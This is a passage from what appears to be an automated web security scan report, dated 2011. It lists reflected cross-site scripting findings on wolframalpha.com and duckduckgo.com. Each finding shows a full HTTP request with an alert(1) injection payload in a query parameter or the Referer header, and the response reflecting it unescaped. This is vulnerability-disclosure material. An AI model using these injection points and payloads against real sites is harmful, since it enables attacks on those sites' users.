var urlLang = "en5c2b5";5abe0529ac9", osDectect = "Windows 7", dispLanguage = "en-us" , pageType = "", winampplayerFull = "http://download.nullsoft.com/winamp/client/winamp5601_full_emusic-7plus_", winampplayerLite = "http://download.nu
...[SNIP]...

3.198. http://www.wolframalpha.com/input/ [i parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.wolframalpha.com
Path:	/input/

Remediation detail

Request

GET /input/?i=labor%20day610cb"-alert(1)-"0920c15034f HTTP/1.1
Host: www.wolframalpha.com
Proxy-Connection: keep-alive
Referer: http://duckduckgo.com/?q=labor+day
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 02:00:30 GMT
Server: Apache-Coyote/1.1
X-UA-Compatible: chrome=1
Content-Type: text/html;charset=UTF-8
Set-Cookie: WR_SID=173.193.214.243.1298944830322764; path=/; max-age=315360000; domain=.wolframalpha.com
Set-Cookie: JSESSIONID=828A29FB0D81E34681FD534F67722D3B; Path=/
Content-Length: 24942

<!DOCTYPE html><html class="no-js"><head><title> labor day610cb"-alert(1)-"0920c15034f - Wolfram|Alpha</title><meta charset="utf-8" /><meta property="og:title" content="labor day61
...[SNIP]...
<![CDATA[ */

$(function(){

if("") {
recalculate("&i=labor%20day610cb"-alert(1)-"0920c15034f");
}

});
/* ]]>
...[SNIP]...

3.199. http://www.wolframalpha.com/input/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.wolframalpha.com
Path:	/input/

Severity:	Low
Confidence:	Certain
Host:	http://duckduckgo.com
Path:	/

Remediation detail

Request

GET /?q=labor+day HTTP/1.1
Host: duckduckgo.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=2763d'-alert(1)-'c96d2d1c7b1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 01:59:26 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Tue, 01 Mar 2011 01:59:27 GMT
Cache-Control: max-age=1
Content-Length: 7500

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta name="robots" content="noindex,nofollow"><meta http-equiv="content-type" content="text/html;
...[SNIP]...
<script type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=1;it=0;iaq=0;r1hc=0;r1c=0;r2c=0;ric=1;rq='2763d'-alert(1)-'c96d2d1c7b1';rfq=1;rt='';rv='';rad='';rds=20;rs=0;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='';kv='';kx='';</scri
...[SNIP]...

3.209. http://duckduckgo.com/Assan_language [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://duckduckgo.com
Path:	/Assan_language

Remediation detail

Request

GET /Assan_language HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=fe031'-alert(1)-'894d4d00e71

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:47:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Tue, 01 Mar 2011 02:47:16 GMT
Cache-Control: max-age=1
Content-Length: 8529

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/c/Yeniseian_languages"/><meta http-equiv="conten
...[SNIP]...
<script type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=1;it=1;iaq=0;r1hc=0;r1c=1;r2c=2;ric=3;rq='fe031'-alert(1)-'894d4d00e71';rfq=1;rt='';rv='';rad='en.wikipedia.org';rds=20;rs=0;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='';kv
...[SNIP]...

3.210. http://duckduckgo.com/Cross-site_scripting [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://duckduckgo.com
Path:	/Cross-site_scripting

Remediation detail

Request

GET /Cross-site_scripting HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=cc8c8'-alert(1)-'a97d2817fca

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:47:17 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Tue, 01 Mar 2011 02:47:18 GMT
Cache-Control: max-age=1
Content-Length: 13177

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/c/Web_security_exploits"/><meta http-equiv="cont
...[SNIP]...
script type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=1;it=1;iaq=0;r1hc=0;r1c=7;r2c=6;ric=13;rq='cc8c8'-alert(1)-'a97d2817fca';rfq=1;rt='';rv='';rad='en.wikipedia.org';rds=20;rs=0;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='';kv
...[SNIP]...

3.211. http://duckduckgo.com/HTTP_referrer [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://duckduckgo.com
Path:	/HTTP_referrer

Remediation detail

Request

GET /HTTP_referrer HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=4c75c'-alert(1)-'1b74049d74f

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:54:59 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Tue, 01 Mar 2011 02:55:00 GMT
Cache-Control: max-age=1
Content-Length: 8717

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/c/HTTP_headers"/><meta http-equiv="content-type"
...[SNIP]...
<script type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=1;it=1;iaq=0;r1hc=0;r1c=1;r2c=3;ric=3;rq='4c75c'-alert(1)-'1b74049d74f';rfq=1;rt='';rv='';rad='en.wikipedia.org';rds=20;rs=0;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='';kv
...[SNIP]...

3.212. http://duckduckgo.com/Microsoft_Visual_Studio [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://duckduckgo.com
Path:	/Microsoft_Visual_Studio

Remediation detail

Request

GET /Microsoft_Visual_Studio HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=b2728'-alert(1)-'b073c849a2c

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:47:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Tue, 01 Mar 2011 02:47:16 GMT
Cache-Control: max-age=1
Content-Length: 9475

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/c/Microsoft_Visual_Studio"/><meta http-equiv="co
...[SNIP]...
<script type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=1;it=1;iaq=0;r1hc=0;r1c=2;r2c=2;ric=5;rq='b2728'-alert(1)-'b073c849a2c';rfq=1;rt='';rv='';rad='en.wikipedia.org';rds=20;rs=0;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='';kv
...[SNIP]...

3.213. http://duckduckgo.com/NaN [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://duckduckgo.com
Path:	/NaN

Remediation detail

Request

GET /NaN HTTP/1.1
Host: duckduckgo.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=fbcde'-alert(1)-'e8ddd594df0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlMzczNjM5MmY5OTgxY2Y0MjBkNjIzZDg1ZDBiNzA0MmE%3D--3e8d70a971450d94414e9de9c563709ccf72716e; r=b

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:04:47 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Tue, 01 Mar 2011 02:04:48 GMT
Cache-Control: max-age=1
Content-Length: 9228

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/c/Computing_acronyms"/><meta http-equiv="content
...[SNIP]...
<script type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=1;it=1;iaq=0;r1hc=0;r1c=2;r2c=3;ric=5;rq='fbcde'-alert(1)-'e8ddd594df0';rfq=1;rt='';rv='';rad='en.wikipedia.org';rds=20;rs=0;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='';kv
...[SNIP]...

3.214. http://duckduckgo.com/User_agent [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://duckduckgo.com
Path:	/User_agent

Remediation detail

Request

GET /User_agent HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=b290c'-alert(1)-'64b49af1d9d

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:55:01 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Tue, 01 Mar 2011 02:55:02 GMT
Cache-Control: max-age=1
Content-Length: 9737

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/c/HTTP_headers"/><meta http-equiv="content-type"
...[SNIP]...
<script type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=1;it=1;iaq=0;r1hc=0;r1c=2;r2c=6;ric=5;rq='b290c'-alert(1)-'64b49af1d9d';rfq=1;rt='';rv='';rad='en.wikipedia.org';rds=20;rs=0;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='';kv
...[SNIP]...

3.215. http://duckduckgo.com/c/Computer_arithmetic [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://duckduckgo.com
Path:	/c/Computer_arithmetic

Remediation detail

Request

GET /c/Computer_arithmetic HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=ac320'-alert(1)-'ffcf9437e4e

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:49:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Tue, 01 Mar 2011 02:49:55 GMT
Cache-Control: max-age=1
Content-Length: 59532

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/c/Computer_arithmetic"/><meta http-equiv="conten
...[SNIP]...
ript type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=0;it=1;iaq=0;r1hc=0;r1c=126;r2c=0;ric=37;rq='ac320'-alert(1)-'ffcf9437e4e';rfq=1;rt='';rv='';rad='';rds=0;rs=1;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='';kv='';kx='';</scrip
...[SNIP]...

3.216. http://duckduckgo.com/c/Computing_acronyms [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://duckduckgo.com
Path:	/c/Computing_acronyms

Remediation detail

Request

GET /c/Computing_acronyms HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=b2e4e'-alert(1)-'82df481cf11

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:49:02 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Tue, 01 Mar 2011 02:49:03 GMT
Cache-Control: max-age=1
Content-Length: 26257

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/c/Computing_acronyms"/><meta http-equiv="content
...[SNIP]...
cript type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=0;it=1;iaq=0;r1hc=0;r1c=40;r2c=0;ric=14;rq='b2e4e'-alert(1)-'82df481cf11';rfq=1;rt='';rv='';rad='';rds=0;rs=1;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='';kv='';kx='';</scrip
...[SNIP]...

3.217. http://duckduckgo.com/c/Software_anomalies [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://duckduckgo.com
Path:	/c/Software_anomalies

Remediation detail

Request

GET /c/Software_anomalies HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=a7676'-alert(1)-'4ddb0e8f6ce

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:48:57 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Tue, 01 Mar 2011 02:48:58 GMT
Cache-Control: max-age=1
Content-Length: 16344

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/c/Software_anomalies"/><meta http-equiv="content
...[SNIP]...
script type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=0;it=1;iaq=0;r1hc=0;r1c=28;r2c=0;ric=9;rq='a7676'-alert(1)-'4ddb0e8f6ce';rfq=1;rt='';rv='';rad='';rds=0;rs=1;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='';kv='';kx='';</scrip
...[SNIP]...

3.218. http://duckduckgo.com/c/The_Simpsons_characters [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://duckduckgo.com
Path:	/c/The_Simpsons_characters

Remediation detail

Request

GET /c/The_Simpsons_characters HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=c894a'-alert(1)-'54b75bb1ae9

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:48:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Tue, 01 Mar 2011 02:48:37 GMT
Cache-Control: max-age=1
Content-Length: 29088

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/c/The_Simpsons_characters"/><meta http-equiv="co
...[SNIP]...
cript type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=0;it=1;iaq=0;r1hc=0;r1c=43;r2c=0;ric=44;rq='c894a'-alert(1)-'54b75bb1ae9';rfq=1;rt='';rv='';rad='';rds=0;rs=1;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='';kv='';kx='';</scrip
...[SNIP]...

3.219. http://duckduckgo.com/e.js [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://duckduckgo.com
Path:	/e.js

Request

GET /e.js HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=9b7cf"><script>alert(1)</script>141e444a1cc

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:47:48 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Sun, 12 Nov 1999 20:28:05 GMT
Content-Length: 1456

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><meta name="robots" content="no
...[SNIP]...
<a href="http://www.google.com/search?hl=en&q=9b7cf"><script>alert(1)</script>141e444a1cc">
...[SNIP]...

3.220. https://duckduckgo.com/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://duckduckgo.com
Path:	/

Remediation detail

Request

GET /?q=POST+request HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=51061'-alert(1)-'cf1ebc4b3b

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:56:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Tue, 01 Mar 2011 02:56:11 GMT
Cache-Control: max-age=1
Content-Length: 7966

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta name="robots" content="noindex,nofollow"><meta http-equiv="content-type" content="text/html;
...[SNIP]...
<script type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=1;it=0;iaq=0;r1hc=0;r1c=1;r2c=0;ric=3;rq='51061'-alert(1)-'cf1ebc4b3b';rfq=1;rt='';rv='';rad='';rds=20;rs=0;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='';kv='';kx='';</scri
...[SNIP]...

3.221. https://duckduckgo.com/Electronic_Frontier_Foundation [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://duckduckgo.com
Path:	/Electronic_Frontier_Foundation

Remediation detail

Request

GET /Electronic_Frontier_Foundation HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=b1eb2'-alert(1)-'86f5e73252a

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:57:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Tue, 01 Mar 2011 02:57:13 GMT
Cache-Control: max-age=1
Content-Length: 12991

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/c/Electronic_Frontier_Foundation"/><meta http-eq
...[SNIP]...
script type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=1;it=1;iaq=0;r1hc=0;r1c=2;r2c=19;ric=5;rq='b1eb2'-alert(1)-'86f5e73252a';rfq=1;rt='';rv='';rad='secure.wikimedia.org';rds=20;rs=0;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='
...[SNIP]...

3.222. https://duckduckgo.com/HTTP_Secure [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://duckduckgo.com
Path:	/HTTP_Secure

Remediation detail

Request

GET /HTTP_Secure HTTP/1.1
Host: duckduckgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: r=b; _qwerly_session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiIlNmEyNjY3MDlhZTM2NTU2ZTgyMTVkMDU4YjA0NGM1N2U%3D--a3ff7117063a64b625b1f054be974d11770445b9;
Referer: http://www.google.com/search?hl=en&q=55518'-alert(1)-'ecf4c5701fe

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 01 Mar 2011 02:57:11 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Tue, 01 Mar 2011 02:57:12 GMT
Cache-Control: max-age=1
Content-Length: 13106

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="canonical" href="http://duckduckgo.com/c/Secure_communication"/><meta http-equiv="conte
...[SNIP]...
script type="text/javascript">var fq,r1c,r2c,ric,rfq,rq,rds,rt,y,y1,ti,tig,ka,kb,kc,kd,ke,kf,kg,kh,ki,kj,kl,km,kn,ko,kp,kq,kr,ks,kt,ku,kv,kw,kx,ky,kz;fq=0;fd=1;it=1;iaq=0;r1hc=0;r1c=7;r2c=8;ric=13;rq='55518'-alert(1)-'ecf4c5701fe';rfq=1;rt='';rv='';rad='secure.wikimedia.org';rds=20;rs=0;kl='';kp='';ks='';kw='';ka='';kt='';ky='';kk='';kf='';kc='';ke='';kr='';ko='';kj='';kz='';kg='';kh='';kd='';ki='';kn='';kb='';km='';ku='';kq='
...[SNIP]...

3.223. https://duckduckgo.com/HTTP_cookie [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://duckduckgo.com
Path:	/HTTP_cookie

Remediation detail

Request

GET /HTTP_cookie HTTP/1.1
